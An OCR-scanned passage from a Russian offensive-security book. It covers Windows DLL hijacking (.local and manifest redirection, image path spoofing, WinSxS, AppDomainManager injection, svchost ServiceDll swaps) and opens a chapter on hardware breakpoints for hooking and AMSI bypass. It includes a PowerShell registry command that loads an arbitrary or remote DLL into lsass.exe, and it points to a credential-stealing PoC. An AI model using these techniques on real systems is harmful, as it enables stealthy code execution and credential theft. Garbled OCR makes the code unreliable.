код и
назовем
Глава
19.
Ищем в
Windows
лазейки для исполнения стороннего кода
377
s
><
~
s
с:;
\D
s
\D
>S
о
:I:
:;;
s
ts
w
..,"'
с:;
><
>.
Q.
~
с:
о;
"'3
:I:
Q)
с:
(.)
>,
N
ai
u
s
11.
Часть
378
Способы обхода средств защиты информации
111.
case DLL THREAD АТТАСН:
case DLL THREAD DETACH:
case DLL PROCESS DETACH:
break;
return TRUE;
После компиляции перенесем в папку с: \Users\Michael \Desktop библиотеку Redir. dll.
Проверим, что она успешно запускается и выполняется (рис.
19.2, 19.3).
~ Свойства: Article.exe (12524)
о
Мodules
General Statlstics Perforrm,nce Threads Token
Memory Environment Handles GPU
Sll~ address
Name
Ox24dd4df0000
0x24d<l9b30000
loalle.nls
Statlccache.dat
Ox24ddЬ090000
SortDefoutt.nls
Artide.exe
ucrtbosed.dll
msvcp140d.dll
Dx7lf69&:a0000
Ox7ffod7c30000
Ox7ffod7eSOOOO
AquoSnop.Hook."64.dll
t,
Redlr.dll
comctlЭ2 . dll
900
ОХ7f!ЬО2550000
OXJflЬ1Sfeoooo
Т ex!Shoplng.dll
vcruntlmel40_1d.dll
ОХ7f1Ь19780000
uxtheme.dll
dwmopl.dll
wln32u.dll
gdl32full.dll
msvcp_win.dll
ucrtbase.d/1
KernelBase.dll
lmm32.dll
msctf.dll
user32.dll
msvort.dll
ОХ7f1Ь28930000
OX7flЬ26ldJ0OO
Ох7ffЫЫ60000
OX7flЬ2eQd0OO0
Ох7f!Ь2е100000
ОХ7f1Ь2е220000
0x7ffЬ2e430000
ОХ7f1Ь2е580000
OX7flЬ2efOOOOO
kВ
R!Jntlme
UЬntry
Microsoft!!) С Runtime
Microsoflф С
Librвry
Microsoflф С
UЬntry
l,2MB
148 kВ
Ox7ffi,f95ЬOOO0
I
Dlsk and Network Comment
SiZe Desoiption
804 kВ
18,38 мв
3,22 мв
1601<8
2,12 мв
0x7ffoe2d20000
voruntlme1401C:\Users\Mlchoe~Desl:top\ Redlr.dll
1nkll
704 kВ
688 kВ
60 kB
632 kВ
188 kВ
136 kВ
1,08 мв
628 kВ
1 мв
2,96 мв
192 kВ
Runtlme
Библиотека элементов управ ...
Microsoftф С
Runtime
UЬrary
Бмблмотека тем UXГheme
Интерфейс
(Mi ...
API дисnетчер11 о ...
Win32u
GO!dient DLL
MlcrosoftQP с R!Jntlme UЬrory
Microsoflф С R!Jntlme UЬrory
Библиотека клиента Windows. ..
Mult!-User Windows IММ32 № .. .
OX7flЬ2efOOOOO
1,ОВ МВ
ОХ7f1Ь2Юеоооо
1,61 мв Мооrоnопьэоватепьсхая
632 kВ Windows t1Т СRТ DLI
OX7flЬ2f2eoooo
х
серверноя библиотек• MSCТF
библ ...
..,
г~
~~-1
Рис.
Теперь изменим код
19.3.
Корректный путь
Redir. dll на следующий.
#include "pch.h"
В001
APIE 1'-
DllMain( HMODULE hModule,
DWORD ul reason for_call,
LPVOID lpReserved
switch (ul re~~ •n for call)
case DLL PROCESS АТТР,СН:
MessageBox(NULL, L"НI FROM
FАКЕ",
L"НI
FROM
FАКЕ",
МВ_ОК);
Глава
19. Ищем
в
Windows
лазейки для исполнения сторонн его кода
379
с
о
·-в
-~
'О
Q)
о:::
_J
_J
о
Q)
s
I
Q)
::r
S2
~
..
a:i
ai
u
s
а.
380
Часть
111.
Способы обхода средств защиты информации
с:
о
u!О
'i5
ф
а::
...J
...J
о
~
\О
<11
а.
о:
<11
:,:
3
ф
с:
~
11)
....ai
с,;
s
11.
Глава
19.
Ищем в
Windows
лазейки для исполнения стороннего кода
381
case DLL- THREAD- АТТАСН:
case DLL- THREAD- DETACH:
case DLL- PROCESS - DETACH :
break;
return TRlJE;
Скомпилируем его и создадим в папке с Arti cl e . exe файл Arti cle .exe . loca l (рис.
19.4).
Теперь запустим исполняемый файл и убед имся , что библиотека действительно
загружается из текущей директории прил ожения , а не по полному пути (рис.
19.5,
19.6).
Если удалить файл
. l ocal,
то вновь будет загружаться нужная библ иотека (рис.
о
li!I Свойства: Article.exe (9368)
-
Genenil StaUstk:s Perfo~nce Threltds Token
МOdu6es
Мemory
~&ddress
Environment Handtes GPU
ОХ18489Ь60000
804
SlllticCadle.dot
Ox1848e9d0000
OX1848ff10000
18,38
3,22
Ox7ff74e990000
Disk ltnd Network Comment
kВ
мв
мв
160kВ
ucrtЬosed . dll
Ох71hю870000
мв
Microsollф С
Runtime
UЬrory
msvcp140d.dll
Ox7ffoc5a90000
900k!I
Miaosofiф С
R!Jntime
UЬrory
AquoSnop.Нook. x64 .dl l
OX7ffoe2d20000
1,2МВ
Microsollф с
RunUme
UЬrory
R.edir.dll
vcrunU~,шd dll
2,12
Ox7ffЬOdSfOOOO
148
nv~fOOOO
1ПkВ
romc113_}:\SSO\Project.-v5\A,tJde\x64\[)el>tJg\fledir] [ _ 1Sfe0000
704
kВ
kВ
Бибпмотее элементов
Ох7f!Ы9780000
vcruntimeИO_ld . dll
Ox7f!Ь237d0000
60
kВ
Microsollф С
u><lheme.dll
Ох7f!Ь289ЗОООО
632
kВ
Бмблмотее тем
dwmopi.dll
win32u.dll
gdl32full.dll
Ох711ЫЬ760000
rn,м:p_win.dll
Ох7f!Ь2е220000
ucrtЬose. dll
Ох711Ь2е4ЗОООО
1 МВ
KemelВ.se .dH
Ох711Ь2е580000
2,96МВ
Ох711Ь2е100000
immЗ2.dU
Ох711Ь2еf00000
msdf.dll
Ох711Ь2еfо0000
user32.dll
ms\/Crt.dll
Ох711Ь2f0еоооо
Ох711Ь212еОООО
Рис.
Сборки
.NET
Для сборок
.NET
19.6.
Y"PlJB...
бВВkВ
Tex!Shoping.dH
Ox7f!Ь2eod0000
х
Size Oescriplion
loalle.nls
SortDefouk.nls
Art:ide-exe
19.7).
R!Jntime
UЬrory
UXTheme (Мi. ..
188 kВ Интерфейс APl диспетчеРll о...
136 kВ Wkl32u
1,08 мв GD I Oi<nt OLL
628 kВ Microsollф С R!Jntlme UЬrory
Microэollф С
Runtlme
БмблtЮТее кпменrа
UЬrory
Windows. ..
192 kВ Mutti-User Windows 1ММ32 АР...
1,08 мв сереермоя библмаrе" МSСТF
1,61 мв Мноrоnольэовт-епьсея бмбл...
632
kВ
Windows
Ю"
CRT OlL
Убеждаемся, что загружена нужная библиотека
все чуточку проще . Нам нужно создать файл .mani fest либо отре
дактировать существующий , добавив в него зависимость от конкретной библиоте
ки . Вот пример конфигурационного файла .
<?xml version="l . 0" encoding= "lJTF-8 " standa l one ="yes "?>
<assemЫy xmlns= "urn :schemas-microsoft-com:asm .vl " manifestVersion="l . 0">
<assemЬlyidentity
382
Часть
///.
Способы обхода средств защиты информации
s
"'
~s
с:;
\О
s
\О
,s
о
:,:
:::.
s
fs
ф
с:;
ro
"'>,
м
e-
ro
С')
,-:
.,;
....
.,;
s
D.
Глава
19.
Ищем в
Windows
лазейки для исполнения стороннего кода
383
version="б.0.0.0"
processorArchitecture="x86"
name="redirector"
type="win32"
/>
<description>DLL Redirection</description>
<dependency>
<dependentAssemЬly>
<assemЬlyidentity
type="win32"
name="Microsoft.Windows.Conunon-Controls"
version="б.0.0.0"
processorArchitecture="X86"
65 95b64144ccfldf"
language="*"
/>
puЫicKeyToken="
</dependentAssemЬly>
</dependency>
<file
name="user32.dll"
/>
</assemЬly>
В данном случае мы с помощью атрибута name указываем, что целевая сборка зави
сит от user32.dll. После чего файл нужно сохранить с именем program.exe.manifest, где
имя приложения, в которое должна подгрузиться библиотека.
program.exe -
Это приведет к тому, что user32. ctll будет подгружаться из той директории, откуда
запускается приложение.
lmage Path Name Spoofing
Теория
Атака заключается в том, что мы можем использовать функции Ptl * и обмануть
приложение,
Например,
заставив
его думать,
приложение лежит в
что оно
запускается
из другой директории.
с: \Windows \System32\abc. ехе,
а
мы
скажем,
что
в
C:\Users\abc.exe. Как следствие, аЬс.ехе будет грузить библиотеки из C:\Users.
Все основано на функциях RtlCreateProcessParametersEx I i И RtlCreateUserProcess ().
dows (а также платформа CLR)
чае CLR) по пути, указанному
будет искать библиотеки (либо сборки
в элементе
.NET
Win-
в слу
ImagePathName структуры РТL_ USER_PROCESS _
PARAМETERS. Эту структуру генерирует функция RtlCreateProcessParainetersl-:x 1). Запущен
ный процесс, в свою очередь, будет парсить эту структуру и
и·звлечет из нее
ImagePathName. И, как следствие, раскроет текущую директорию, которая в действи
тельности спуфнута.
Часть
384
111.
Способы обхода средств защиты информации
Реализация
Функция
RtlCreateProcessParametersEx ()
ВЫГЛЯДИТ вот так.
typedef NTSTATUS (NTAPI *_ RtlCreateProcessParametersEx) (
Out_ PRTL_USER_PROCESS_PARAМETERS *pProcessParameters,
_In_ PUNICODE_STRING ImagePathName,
_In_opt_ PUNICODE_STRING DllPath,
_In_opt_ PUNICODE_STRING CurrentDirectory,
_In_opt_ PUNICODE_STRING CommandLine,
_In_opt_ PVOID Environment,
_In_opt_ PUNICODE_STRING WindowTitle,
_In_opt_ PUNICODE_STRING Desktopinfo,
_In_opt_ PUNICODE_STRING Shellinfo,
_In_opt_ PUNICODE_STRING RuntimeData,
_In_ ULONG Flags
);
Собственно, эта функция заполняет структуру RTL - USER- PROCESS - PARAМETERS.
typedef struct
_RTL_USER_PROCESS_PARAМETERS
{
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
ULONG DebugFlags;
ConsoleHandle;
ULONG ConsoleFlags;
НANDLE Standardinput;
НANDLE StandardOutput;
НANDLE StandardError;
НANDLE
CURDIR CurrentDirectory;
UNICODE STRING DllPath;
UNICODE_STRING ImagePathName; //
UNICODE STRING CommandLine;
PVOID Environment;
ULONG
ULONG
ULONG
ULONG
ULONG
ULONG
ULONG
StartingX;
StartingY;
CountX;
CountY;
CountCharsX;
CountCharsY;
FillAttribute;
ULONG WindowFlags;
ULONG ShowWindowFlags;
Вот это будем сnуфать
Глава
19.
Ищем в
лазейки для исполнения стороннего кода
Windows
385
UNICODE STRING WindowTitle;
UNICODE_STRING Desktopinfo;
UNICODE STRING Shellinfo;
UNICODE STRING RuntimeData;
RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_МAX_DRIVE_LETTERS];
EnvironmentSize;
EnvironmentVersion;
PackageDependencyData;
ProcessGroupid;
RTL_USER_PROCESS_PARAМETERS, *PRTL_USER PROCESS
ULONG
ULONG
PVOID
ULONG
PARAМETERS;
Именно эта структура будет передаваться в функцию RtlCreateUserProcess ().
typedef NTSTATUS (NTAPI *_RtlCreateUserProcess) (
_In_ PUNICODE_STRING NtimagePathName,
_In_ ULONG AttributesDeprecated,
_In_ PRTL_USER_PROCESS_PARAМETERS ProcessParameters,
_In_opt_ PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
In opt_ PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
Iп opt_ НANDLE ParentProcess,
BOOLEAN InheritHandles,
Iп
In opt_ НANDLE DebugPort,
_In_opt_ НANDLE TokenНandle,
Out PRTL USER PROCESS INFORМATION Processlnformation
-
-
-
-
-
);
Эта атака не сработает, если приложение подгружает 'целевую библиотеку с указа
нием полного пути. Я пытался совместить эту атаку с DLL Redirection с созданием
файла . local, но безуспешно.
Вернемся к нашему эксперименту. Чуть-чуть поправим файл Article.exe, чтобы он
загружал библиотеку без указания полного пути.
#include <Windows.h>
#include <iostream>
int main() {
LoadLibraryW (L"Redir. dll");
char а;
std: :cin » а;
return О;
В соответствии с порядком поиска DLL Windows в первую очередь будет пытаться
найти
'Redir. ctl l' в текущей директории приложения. Здесь-то мы его и поймаем!
Убедимся в работоспособности приложения (рис. 19.8, 19.9).
Теперь удаляем Article.exe из папки с фейковой
Назовем его
PathSpoof. ехе.
DLL и начинаем писать загрузчик.
Часть
386
Рис.
19.8.
Рис.
Запуск из
19.9.
111.
Desktop -
Способы обхода средств защиты информации
подгрузка библиотеки из
Запуск из другой папки
-
Desktop
подгрузка фейковой
DLL •
Глава
19.
Ищем в
Windows
387
лазейки для исполнения стороннего кода
Я не смог найти ссылку на
gists, но этот код я когда-то стащил
snovvcrash (https://xakep.ru/author/snovvcrash/). Предлагаю только
у уважаемого
несколько по
править исходник, изменив с учетом наших целей.
UNICODE_STRING spoofedimagePathName;
spoofedimagePathName.pBuffer;
(PWSTR)L"\\??\\A:\\SSD\\ProjectsVS\\Article\\x64\\Debug\\Article.exe";
//Где реально должно
запуститься
приложение
for (spoofedimagePathName.Length; О;
spoofedimagePathName.pBuffer[spoofedimagePathName.Length]; spoofedimagePathName.Length++);
spoofedimagePathName.Length; spoofedimagePathName.Length * sizeof(WCНAR);
spoofedimagePathName.MaximumLength; spoofedimagePathName.Length + sizeof(UNICODE_NULL);
UNICODE_STRING currentDirectory;
currentDirectory.pBuffer; (PWSTR)L"C:\\Windows\\System32\\";
for (currentDirectory.Length; О; currentDirectory.pBuffer[currentDirectory.Length];
currentDirectory.Length++);
currentDirectory.Length; currentDirectory.Length * sizeof(WCНAR);
currentDirectory.MaximumLength; currentDirectory.Length + sizeof(UNICODE_NULL);
UNICODE STRING commandLine;
commandLine.pBuffer; (PWSTR)L"C:\\Windows\\System32\\";
for (commandLine.Length; О; commandLine.pBuffer[commandLine.Length]; commandLine.Length++);
commandLine.Length; commandLine.Length * sizeof(WCНAR);
commandLine.MaximumLength; commandLine.Length + sizeof(UNICODE_NULL);
UNICODE_STRING imagePathName;
imagePathName .pBuffer ; (PWSTR) L" \\??\\С: \\Users\\Michael \\Desktop\\Article .ехе"; / /
к приложению,
Путь
которое должно быть спуфнуто
for (imagePathName.Length; О; imagePathName.pBuffer[imagePathName.Length];
imagePathName.Length++);
imagePathName.Length; imagePathName.Length • sizeof(WCНAR);
imagePathName.MaximumLength; imagePathName.Length + sizeof(UNICODE_NULL);
Полный код представлен в моем репозитории:
https://gist.github.com/МzHmO/ca3ctзf28c924a9485c5d6d0c933dd47.
Запускаем
PathSpoof .ехе и видим успешную подгрузку библиотеки (рис. 19.10, 19.11).
WinSxS
Механизм
WinSxS (Windows Side
Ву
Side)
служит для хранения разных версий
важных системных файлов. После обновления
Windows
в папку с:
\Windows\Winsxs
падают прошлые версии всяких программных компонентов. Это позволяет в случае
сбоя откатиться назад и вернуть систему к жизни.
Исследователи из
в папку
Security Joes (https://www.securityjoes.com) обнаружили, что
WinSxS попадают ехе-приложения, уязвимые к атаке DLL Hijacking. Дело
в том, что порядок поиска библиотек у этих приложений следующий:
Часть
388
Рис.
С ао11ств~ Article,бe
•
Способы обхода средств защиты информации
19.10. lmage Path Spoofing
в действии
о
(15260)
Pt<formon<:e Тlnllds ТоЬn Мoduln М1mо<у Elмn>nmont -
-
-
111.
Cl'U
Dl!tond-
х
c.o.nn-
Fl'4
N/A
{UNVERJFG)
v..-: N/A
~filenomo:
C : ~ \ N t i d t.ut
•
Свойстаа:
о
Article.exe (1 S260)
G4nonl S , _ Pwformonoo ThrNds ТоЬn hlOdl4es NtnlO<'/ Erмronrneot -
~dм
l ~n1s
-·
lotolt.nЬ
.dl
""""'PHOd.dll
A4<18SМp,liook.J64 .dll
"
-"
8пtюdr&SII
O!Q6380000000
lt,38 ,,_
О>а63814е0000
),2.2,..
-
0"26ЭIII020000
~ C - Ll>r"'Y
-...itlфCIWnlm!Ll>r"'Y
-
00f!Ь2h760000
-О>О'111>2е100000
----l!x7fl!>2t2COOOO
mmal32.dll
uatl>as,.dl
.
ОIО!!Ь2"ЗОООО
-.
irМl32.dl
OIOl!Ь2ef00000
tnself.dl
IISlf32.cll
O>Offl>2t'Ze.OOOO
"""°"·dll
Рис.
t8
900118
1,2"8
148t8
17218
6018
l!x7fl!>289:ЮOOO
__.......
-
0><1fla6090000
-2'!20000
780000
М132'1.d1
gcl32ful.dl
c.o.nn-
I.S61i8
2,12М8
= ~ 4 0 -~ :\,SSO\l'r0~\><64\DOl>ulJ~_.,i'OOOO
T~dl
U>dhome.dl
dwmapl.dl
Dllkond-
Ох71f"""4ЗОООО
IIOltЬHftOOOO
к.dir.dl
GfU
Size ~
~с-.........,,
~CtщntimelЬwy
Ш18
632 t8 ~ - - 001\0mo (Мi. ..
18tt8 ..... ~ А1'1 д,,а,1- .....
136t8 ~
1, 0IМI
62ttll
104 t8
1"8
2,96М8
(;()!
CllentOI.L
-------·
МlaosollфCIWnlm!l.lnry
lolicro5ollф
C Runlm! l.lnry
Windows. ..
Бм6Амот1е1 UIIIМf&
19218 ---=п N'...
1,08 М8 ~ о.бмютеса МSСТF
1,61 МI --6"6А...
632 t8 WlndQwsNrCRТOI.L
19.11. Доказательство
из
Process Hacker
х
Глава
19.
Ищем в
Windows
лазейки для исполнения стороннего кода
1.
Папка, в которой лежит
i
C:\Windows\System32.
4.
С: \Windows.
5.
Текущая папка.
389
. ехе.
i"' ·С: \Windows \System.
И именно на пятом шаге исследователи ловили приложения из
ся
WinSxS,
пытающие
подгрузить библиотеку из их текущей директории. Алгоритм обнаружения
донельзя прост:
□ запускаем cmd.exe;
□ заходим в C:\Users\<currentuser>\Desktop;
□ запускаем приложение
WinSxS.
Если приложение уязвимо, то оно порыскает в папках из 1-4-го шагов, а потом
придет в C:\Users\<currentuser>\Desktop, чтобы найти целевую библиотеку. Здесь-то
с помощью
Process Monitor его
и поймают!
(https://www.securityjoes.com/post/hide-and-seek-in-windows-closetunmasking-the-winsxs-hijacking-hideout) нашлось множество уязвимых приложе
ний (рис. 19. 12).
В ходе ресерча
Вы можете и самостоятельно искать подобные дырки, используя тот же
Monitor
или
Process
DLLHSC (https://github.com/ctxis/DLLHSC/tree/master).
К слову, в ходе одного из проектов по пентесту мне удалось подобным образом
проэксплуатировать
WinSxS,
но там сработало несколько условий:
□ целевое приложение было сборкой
□ нужно было реализовать MIТRE
Поэтому я прибегнул к тактике с
.NET;
Tl 574 Hijack Execution Flow.
AppDomain Manager lnjection.
ПОЛЕЗНЫЕ ССЫЛКИ
AppDomain Manager lnjection: New Techniques For Red Teams
•
(https://www.rapid7.com/Ыog/post/2023/05/05/appdomain-manager-injection-new
techniques-for-red-teams/)
•
Let's turn Апу .NET Application into ап LOL Bin
(https ://gist.github.com/djhohnstein/afb93a 114Ь848е16facf0b98cd7 сЬ57Ь)
•
AppDomainManager lnjection and Detection (https://pentestlaboratories.com/
2020/05/26/appdomainmanager-injection-and-detection/)
Предположим, что целевое приложение называлось NetConfigLdr .ехе (название изме
нено,
в
моем
случае был
NetConf igLdr. ехе. conf iq,
кастомный
софт
клиента),
указав следующее содержимое.
<configuration>
<runtime>
xmlns~"urn: scl1emas-microsoft-com: asm. vl ">
<probing privatePath~"C:\Windows\WinSxS"/>
<assemЬlyBinding
</assemЬlyBinding>
поэтому
я
создал
файл
Часть
390
111.
Способы обхода средств защиты информации
value="AppDominject, Version=0.0.0.0, Culture=neutral,
<appDomainМanagerAssemЫy
PuЬlicKeyToken=null"
<appDomainМanagerType value="MyAppDomainМanager"
/>
/>
</runtime>
</configuration>
Process Name
Loaded Resource
Conhost.exe
ClipUp.exe
Conhost.exe
ipconfig.exe
Conhost.exe
route.exe
Conhost.exe
mcbuilder.exe
Forfiles.exe
cmd.exe
Iediagcmd.exe
ipconfig.exe
Stordiag.exe
Systemlnfo.exe
Aspnet_,vp.exe
weЬengine.dJI
Aspnet_\\'Р_ехе
webengiшц.dll
Aspnet_regiis.exe
webengine4.dJl
Aspnet_state.exe
weЬengine4.dll
Csc.exe
VCRUNТIME140_1_CLR0400.dll
Cvtres.exe
VCRUNТIME140 _1_ CLR0400.dll
Ilasm.exe
fusion.dJl
Ilasm.exe
VCRUNТIME140_1_CLR0400.dll
Ngentask.exe
mscorsvc.dJl
Ngen.exe
VCRUNТIME140 _1_CLR0400.dJl
NisSrv.exe
mpclient.dll
Рис.
19.12.
Уязвимые приложения
Этот файл лежал рядом с NetConflgLdr. ехе, равно как и библиотека AppDominject. dll.
Это позволило реализовать MIТRE и проэксплуатировать файл из
Кстати, если вы еще не забыли про
lnjection
WinSxS.
lmage Path Name Spoofing,
то
AppDomain
получится совмещать с таким спуфингом. Это подробно описано в ис
следовании
у Rapid7: https://www.rapid7.com/Ыog/post/2023/05/05/appdomain
manager-injection-new-techniq ues-for-red-teams/.
Глава
19.
Ищем в
Windows
лазейки для исполнения стороннего кода
391
svchost.exe
Отдельно я хочу упомянуть инжект в svchost.exe (т. е. внедрение в любую службу).
Сам по себе svchost.exe -
один из множества служебных процессов. Он может под
гружать DLL-файл службы, взяв путь из записи реестра со значением ServiceDll.
Например, для службы TennSrv есть файл tennsrv.dll, он находится в %SystemRoot%\
System32\. Этот путь прописан внутри значения ServiceDll вот здесь:
HКLМ \System\CurrentCont rolSet\servi ces\TennService \ Parameters \
Так мы можем подменить саму
DLL
или значение в реестре, что приведет к под
грузке сторонней библиотеки при перезапуске службы (рис.
•
19.13) .
Р....,остор р,,стр.,
о
х
Комn11ютср\НКЕУ_lOCAL_МACHINE\SYSТEМ\Cu,rcntControlSet:\St:МCб\TбmSe.rvicc\P.,,.,mders
>
SQlWritб
"'
ИМА
Тмn
~ (По умолч1нию)
~ s.мс.011
~ S.МCeDIIUnto,dOnStop
• srv2
srvn,t
SSOPSЯV
ssh-1gent
SstpSvc
St.rteRcpository
Stum Clicnt Servicc
REG_SZ
REG_EXPAND_SZ
REG_DWORD
(sн"чснис нс присе~о)
%SystemRoot%\System32\termsrv.dll
0.00000001 (1)
stexstor
rnsvc
storflt
stomvme
storqodtt
StorSvc
storufs
storvsc
''""''
swcnum
swprv
Synth3dVsc
SysМ.jn
SystemEvcntsBroke:r
Т<!lbl~lnp~c
t,pO!I01
T•piStv
ТЬtP2.pShortcutStrvicc
'kpip
Tcpip6
lCPI P6ТUNNEL
tcpip«g
1
lCP I PТUNNEL
tdx
turrwiewe,vpn
Tclcmdry
v
1 ~ ·~
tmninpt
TmnStrvicc
p.,•mctm
1
о ...,. _ .. _.... , .. c: ... ..... n11 ,. Dtr. tVDA ..,n V
)
Рис.
19.13.
Значение
ServiceDII
LSASS Driver
Существует недокументированное значение реестра, в которое можно засунуть
библиотеку, и она будет загружена в процесс lsass .exe.
Часть
392
111.
Способы обхода средств защиты информации
# PowerShell
New-ItemProperty -Path HКLМ:\SYSTEМ\CurrentControlSet\Services\NTDS -Name LsaDbExtPt -Value
"c:\windows\system32\l.dll"
# Очистка
Remove-ItemProperty -Path "HKLМ:\SYSTEM\CurrentControlSet\Services\NTDS" -Name "LsaDbExtPt"
-ErrorAction Ignore I Out-Null
# Можно даже указать удаленную либу
New-ItemProperty -Path HКLМ:\SYSTEМ\CurrentControlSet\Services\NTDS -Name LsaDbExtPt -Value
"\\share\lulz\lsass lib.dll"
Причем есть даже РоС
(https://github.com/oxfemale/LogonCredentialsSteal), позво
ляющий хукнуть функцию
SpAcceptCredentials () и извлекать учетные данные пользо
вателей.
Заключение
У
Windows есть необычные возможности, которыми иногда пользуются и атакую
щие. Конечно, порой проще нагло влезть в адресное пространство процесса, запи
сать туда байты DLL-библиотеки и дернуть CreateRemoteThread(), но это далеко не
панацея. В конце концов, знаешь больше способов
закрываешь проекты)!
-
крепче спишь (и быстрее
ГЛАВА
20
Используем
хардверные брейк- пойнты
в пентестерских целях
Windows
предоставляет мощные инструменты для установки точек останова непо
средственно в памяти. Но знаете ли вы, что с их помощью можно ставить и снимать
хуки, а также получать сисколы? В этой главе я в подробностях расскажу, как это
делать .
Точки останова служат для контроля выполнения программы и, конечно же, их
остановки в определенный момент. Глобально существуют два вида брейк-пойнтов:
software breakpoints и hardware breakpoints.
Software breakpoint IDE. Чтобы поставить
точка останова, которая ставится с помощью отладчика или
такую точку останова, можно, например, просто кликнуть на
нужную строку программы в
Рис.
20.1.
Visual Studio (рис. 20.1).
Установка
software breakpoint
в
Visual Studio
Такие точки останова можно ставить где угодно и сколько угодно. Никаких огра
ничений нет (рис.
Hardware
20.2).
breakpoint-yжe более сложная штука, которую мы сегодня и будем изу
чать. Эти бряки ставятся путем заполнения специальных отладочных регистров
Часть
394
процессора
1/1.
Способы обхода средств защиты информации
(DRO-DR7). Согласно документации Dr0-3 должны хранить адрес, по
breakpoint, но у меня бряк срабатывал, только если адрес
в DRO.
которому установлен
заполнялся
Рис.
20.2.
Установка множества
software breakpoint
Первые три регистра называются регистрами с отладочными адресами
(Debug
5 не используются и называются заре
зервированными отладочными регистрами (Reserved Debug Registers). DR6 содер
жит различную информацию о сработавшем исключении. Исключение - это со
Address Registers).
Регистры с номерами
4
и
бытие, возникающее, когда компьютер пытается выполнить инструкцию, адрес
которой расположен в
DRO. DR7
содержит биты управления отладкой. Если значе
ние равно единице, то точка останова должна сработать, если нулю, то не должна.
Hardware breakpoints,
как вы понимаете, через красивый
GUI
не ставятся. Нам по
требуется взаимодействовать с регистрами напрямую, используя, конечно же, наш
любимый
дить
WinAPI. И само собой, только хардверные брейки позволят хукать, обхо
AMSI и получать сисколы. Софтверные, к сожалению, для этого не подходят.
Обработка исключений
Итак, исключение возникает при попытке выполнить инструкцию, на которой сто
ит точка останова. По своей натуре оно при этом точно такое же, как, к примеру,
при попытке деления на ноль (рис.
20.3).
Глава
20. Используем хардверные
Рис.
брейк-пойнты в пентестерских целях
20.3.
395
Как выглядит исключение
Любые исключения могут быть обработаны. Здесь есть два пути - VEH (Vectored
Exception Handling) и SEH (Structured Exception Handling). Отдельно я выделю еще
UEH (Unhandled Exception Handling).
Начнем с
SEH. SEH -
стандартный блок
_try - _finally, _try - _except (рис. 20.4).
#include <iostream>
#include <Windows.h>
int main(I {
int а = 2 - 2;
int Ь = 3;
_tr y {
std: :cout << Ь /а<< std: :endl;
_except ( EXCEPTI ON_EXECUTE_НANDLER)
std: :cout << "EXCEPTION" << std : :endl;
return
SEH
О;
можно считать надстройкой над конструкцией try -
в блок
_ except
except из С++. В SEH
добавляются специальные значения, в зависимости от которых
может меняться поведение обработчика исключений:
□ EXCEPTI ON _EXECUTE_ НANDLER -
система передает управление в обработчик исключе
ния . То есть будет поведение, как в коде выше;
□ EXCEPTI ON_ CONTINUE_ SEARCH -
эта конструкция заставляет систему перейти к преды
дущему блоку try, которому соответствует блок except, и обработать этот блок.
То есть система игнорирует текущий обработчик исключений и пытается найти
обработчик исключений в охватывающем блоке (или блоках);
396
Часть
Рис.
20.4.
111.
Способы обхода средств защиты информации
Обработка исключения с помощью
□ EXCEPТION _CONТINUE _EXECUTION -
SEH
обнаружив такое значение, система возвращается
к инструкции, вызвавшей исключение, и пытается выполнить ее снова.
Ниже -
пример EXCEPTION _CONTINUE_ EXECUТION (рис. 20.5).
#include <iostream>
#include <cstddef>
#include <Windows.h>
char g_szBuffer[l00];
LONG Filter(char** ppchВuffer)
if (*ppchBuffer == NULL) {
*ppchBuffer = g_szBuffer;
return(EXCEPTION - CONTINUE- EXECUTION);
return(EXCEPTION_EXECUTE_НANDLER);
int main()
int х = О;
char* pchBuffer = NULL;
_ try {
*pchВuffer = 'J';
х = 5 / х;
Глава
20.
Используем хардверные брейк-пойнты в пентестерских целях
_except (Filter(&pchBuffer)) (
MessageBox(NOLL, L"An exception occurred", NULL,
MessageBox(NULL, L"Function completed", NULL,
return О;
Рис.
20.5.
Пример
397
МВ~ОК);
МВ ОК);
EXCEPTION_CONTINUE_EXECUTION
Программы могут быть сложные, страшные, большие,
нужно предусматривать
корректный выход из всех блоков, изучать возможные исключения. Вдруг потребу
ется функция уведомления пользователя о сработавшем исключении? В общем,
SEH
хорош, но, помимо него, появился и УЕН. УЕН можно считать эдакой над
стройкой над
SEH.
Работает она, само собой, только в
Windows.
Если в программе возникает исключение, то первыми вызываются именно вектор
ные обработчики и лишь затем система начнет разворачивать стек. С помощью
УЕН прога может, например, зарегистрировать функцию для просмотра или обра
ботки всех исключений приложения. Причем в программу можно добавить не
сколько УЕН-обработчиков, и они будут вызваны в том порядке, в котором были
Часть
398
добавлены. Первый
-
первым, второй
ся только в том случае, если
С помощью
111.
VEH
-
вернул
Способы обхода средств защиты информации
вторым и т. д.
SEH
после
VEH
вызывает
EXCEPTION_CONTINUE _SEARCH.
можно ловить исключения, возникающие при хардверных брей
VEH
ках. Добавить обработчик можно с помощью функции AddVectoredExceptionHandler ()
(https:/Лearn.microsoft.com/ru-ru/windows/win32/api/errhandlingapi/nf-errhandling
api-addvectoredexceptionhandler).
PVOID AddVectoredExceptionНandler(
ULONG FirstHandler,
PVECTORED- EXCEPTION- НANDLER VectoredНandler)
□ FirstHandler -
вызывать обработчик раньше всех ранее зарегистрированных об
работчиков (значение CALL_FIRST) или после всех (значение CALL_LAsт);
□ vectoredНandler -
адрес функции обработчика. Эта функция должна возвращать
EXCEPTION_CONTINUE _EXECUTION. Обработчики далее не выполняются, обработка сред
ствами
SEH
не производится, управление передается в ту точку программы, из
которой бьmо вызвано исключение или EXCEPTION _CONTINUE _SEARCH (выполняется
следующий векторный обработчик, а если таких нет, то разворачивается
Зарегистрируем обработчик и проверим работу
VEH.
SEH).
Исключением пока будет
стандартный Null-Pointer Reference. То есть обращение к указателю, который имеет
значение nullptr (рис.
20.6).
#include <iostream>
#include <windows.h>
#include <errhandlingapi.h>
LONG WINAPI
MyVectoredExceptionНandler(PEXCEPTION_POINTERS
exceptioninfo)
{
std: :cout « "Exception occurred! 11 « std: :endl;
std: :cout « 11 Exception Code: 11 « exceptioninfo->ExceptionRecord->ExceptionCode «
std:: endl;
std: :cout « 11 Exception Address: 11 « exceptioninfo->ExceptionRecord->ExceptionAddress «
std: :endl;
return EXCEPTION- CONTINUE- SEARCH;
int rnain ()
if
(AddVectoredExceptionНandler(l,
MyVectoredExceptionHandler) == nullptr)
{
std: : cout « "Failed to add the exception handler ! 11 « std: : endl;
return 1;
int* р = nullptr;
*р = 42; // Исключение
возникает тут
Глава
20.
Используем хардверные брейк-пойнты в пентестерских целях
399
return О;
Рис.
Видим, что
20.6.
Обработка исключения с помощью
